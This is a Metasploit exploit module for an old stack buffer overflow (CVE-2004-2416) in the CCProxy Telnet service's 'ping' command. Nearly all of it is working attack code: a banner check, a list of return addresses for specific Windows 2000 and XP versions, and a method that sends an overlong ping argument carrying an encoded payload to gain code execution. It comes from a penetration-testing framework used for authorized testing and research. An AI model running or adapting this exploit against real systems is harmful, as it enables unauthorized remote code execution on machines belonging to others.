##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'CCProxy Telnet Proxy Ping Overflow',
        'Description'	=> %q{
          This module exploits the YoungZSoft CCProxy <= v6.2 suite
          Telnet service. The stack is overwritten when sending an overly
          long address to the 'ping' command.
        },
        'Author' => [ 'aushack' ],
        'Arch'	=> [ ARCH_X86 ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2004-2416' ],
          [ 'OSVDB', '11593' ],
          [ 'BID', '11666' ],
          [ 'EDB', '621' ],
        ],
        'Privileged'	=> false,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space'	=> 1012,
          'BadChars' => "\x00\x07\x08\x0a\x0d\x20",
        },
        'Platform' => ['win'],
        'Targets' => [
          # Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
          [ 'Windows 2000 Pro All - English', { 'Ret' => 0x75023411 } ], # call esi ws2help.dll
          [ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2b81 } ], # call esi ws2help.dll
          [ 'Windows 2000 Pro All - French', { 'Ret' => 0x74fa2b22 } ], # call esi ws2help.dll
          [ 'Windows XP SP0/1 - English', { 'Ret' => 0x71aa1a97 } ], # call esi ws2help.dll
          [ 'Windows XP SP2 - English', { 'Ret' => 0x71aa1b22 } ], # call esi ws2help.dll
        ],
        'DisclosureDate' => '2004-11-11',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(23),
      ]
    )
  end

  def check
    connect
    banner = sock.get_once || ''
    disconnect

    if banner.to_s =~ /CCProxy Telnet Service Ready/
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    sploit = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)
    sock.put(sploit + "\r\n")

    handler
    disconnect
  end
end
